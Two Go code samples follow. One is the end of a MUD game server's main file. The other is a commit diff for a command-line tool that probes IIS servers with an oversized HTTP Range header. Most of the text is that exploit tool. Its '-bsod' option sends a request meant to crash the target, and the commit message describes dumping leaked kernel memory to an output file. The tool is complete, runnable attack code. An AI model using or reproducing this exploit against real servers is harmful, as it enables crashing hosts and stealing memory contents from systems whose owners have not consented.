	worldFilesDir = flag.String("worldFilesDir", "./worldfiles", "directory where the world files can be found")
	serverPort    = flag.Int("serverPort", 10000, "Port to operate the gRPC server on")
	webPort       = flag.Int("webPort", 8888, "Port to operate the web server on")
	doHelp        = flag.Bool("help", false, "Show Help")
	doHelpAlias   = flag.Bool("h", false, "Show Help")
	logFile       = flag.String("logFile", "/var/log/watchmud/watchmud-server.log", "File to write server logs to")
)

func usage() {
	fmt.Fprintf(os.Stderr, "Usage of %s\n", os.Args[0])
	fmt.Fprintf(os.Stderr, "\t%s [flags]\n", os.Args[0])
	fmt.Fprint(os.Stderr, "Flags:\n")
	flag.PrintDefaults()
}
func main() {
	flag.Parse()
	if *doHelp || *doHelpAlias {
		usage()
		os.Exit(2)
		return
	}

	// init logging
	f, err := os.OpenFile(*logFile, os.O_RDWR|os.O_CREATE|os.O_APPEND, 0666)
	if err != nil {
		log.Fatalf("error opening log file: %v", err)
	}
	defer f.Close()
	wrt := io.MultiWriter(os.Stdout, f)
	log.SetOutput(wrt)
	log.Println("Logging initialized.")

	if err := db.Init(); err != nil {
		log.Fatalf("Failed to initialize database persistence: %v", err)
	}

	gameserver, err := server.NewGameServer(*worldFilesDir)
	if err != nil {
		log.Fatalf("Failed to start NewGameServer: %v", err)
	}
	go gameserver.Run()

	// grpc server
	rpcServer := rpc.NewServer(gameserver)
	go rpcServer.Run(*serverPort)

	web.Start(*webPort)

	// tell everybody to quit
	//close(server.GlobalQuit)
	// TODO some sort of server.GameServerInstance.Shutdown() ?
}
<|endoftext|>


<commit_before>package main

import (
	"flag"
	"fmt"
	"io/ioutil"
	"net/http"
	"strings"
)

const (
	RANGE_HEADER                 = "Range"
	RANGE_LIGHT_TEST             = "bytes=0-18446744073709551615"
	RANGE_HEAVY_TEST             = "bytes=20-18446744073709551615"
	STATUS_RANGE_NOT_SATISFIABLE = 416
	STATUS_INVALID_HEADER_NAME   = 400
)

func main() {
	var addr = flag.String("addr", "", "HTTP address from file to request")
	var bsod = flag.Bool("bsod", false, "Defines whether should force BSOD")
	flag.Parse()

	if len(*addr) == 0 {
		flag.Usage()
		return
	}

	client := &http.Client{}
	req, err := http.NewRequest("GET", *addr, nil)
	if err != nil {
		fmt.Println("Request error:", err)
		return
	}
	if *bsod {
		req.Header.Add(RANGE_HEADER, RANGE_HEAVY_TEST)
	} else {
		req.Header.Add(RANGE_HEADER, RANGE_LIGHT_TEST)
	}

	resp, err := client.Do(req)
	if err != nil {
		fmt.Println("Send request error:", err)
		return
	}
	defer resp.Body.Close()

	server := resp.Header.Get("Server")
	if len(server) > 0 && !strings.Contains(server, "Microsoft") {
		fmt.Println("[*] Not IIS")
		return
	}

	switch resp.StatusCode {
	case STATUS_RANGE_NOT_SATISFIABLE:
		fmt.Println("[!!] Looks vulnerable")
	default:
		fmt.Println("[*] Looks patched or unaffected")
	}

	if *bsod {
		body, _ := ioutil.ReadAll(resp.Body)
		fmt.Printf("%s\n", body)
	}
}
<commit_msg>Changes to explore kernel memory dumping<commit_after>package main

import (
	"flag"
	"fmt"
	"io/ioutil"
	"net/http"
	"os"
	"strings"
	"time"
)

const (
	RANGE_HEADER                 = "Range"
	RANGE_LIGHT_TEST             = "bytes=0-18446744073709551615"
	RANGE_HEAVY_TEST             = "bytes=%d-18446744073709551615"
	STATUS_RANGE_NOT_SATISFIABLE = 416
	STATUS_INVALID_HEADER_NAME   = 400
)

func main() {
	var addr = flag.String("addr", "", "HTTP address from file to request")
	var bsod = flag.Bool("bsod", false, "Defines whether should force BSOD")
	var fout = flag.String("output", "http.out", "Output file to dump HTTP output")
	var noout = flag.Bool("noout", false, "Defines whether should write HTTP output")
	flag.Parse()

	if len(*addr) == 0 {
		flag.Usage()
		return
	}
	if len(*fout) < 3 {
		fmt.Println("Output file name should have at least 3 characters")
		return
	}

	client := &http.Client{
		Timeout: time.Duration(time.Second * 5),
	}
	fileSize := 20

	// Tries to create a request that dumps kernel memory to output
	if *bsod && !*noout {
		fileSize = GetHttpFileSize(client, *addr) - 1
	}

	req, err := http.NewRequest("GET", *addr, nil)
	if err != nil {
		fmt.Println("Request error:", err)
		return
	}
	if *bsod {
		req.Header.Add(RANGE_HEADER, fmt.Sprintf(RANGE_HEAVY_TEST, fileSize))
	} else {
		req.Header.Add(RANGE_HEADER, RANGE_LIGHT_TEST)
	}

	resp, err := client.Do(req)
	if err != nil {
		fmt.Println("Send request error:", err)
	}
	if resp == nil {
		return
	}
	defer resp.Body.Close()

	server := resp.Header.Get("Server")
	if len(server) > 0 && !strings.Contains(server, "Microsoft") {
		fmt.Println("[?] Not IIS")
	}

	switch resp.StatusCode {
	case STATUS_RANGE_NOT_SATISFIABLE:
		fmt.Println("[!!] Looks vulnerable")
	default:
		fmt.Println("[*] Looks patched or unaffected")
	}

	if *bsod && !*noout {
		fo, err := os.Create(*fout)
		if err != nil {
			fmt.Println("Could not create output file")
		} else {
			defer fo.Close()
			buffer := make([]byte, 20)
			for {
				l, err := resp.Body.Read(buffer)
				if err == nil && l > 0 {
					fo.Write(buffer[:l])
					fo.Sync()
				}
			}
		}
	}
}

func GetHttpFileSize(client *http.Client, addr string) int {
	resp, err := client.Get(addr)
	if err != nil {
		fmt.Println("Could not send request to determine file size:", err)
		return -1
	}
	defer resp.Body.Close()

	buffer, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		fmt.Println("Could not read requested file:", err)
		return -1
	}

	return len(buffer)
}
<|endoftext|>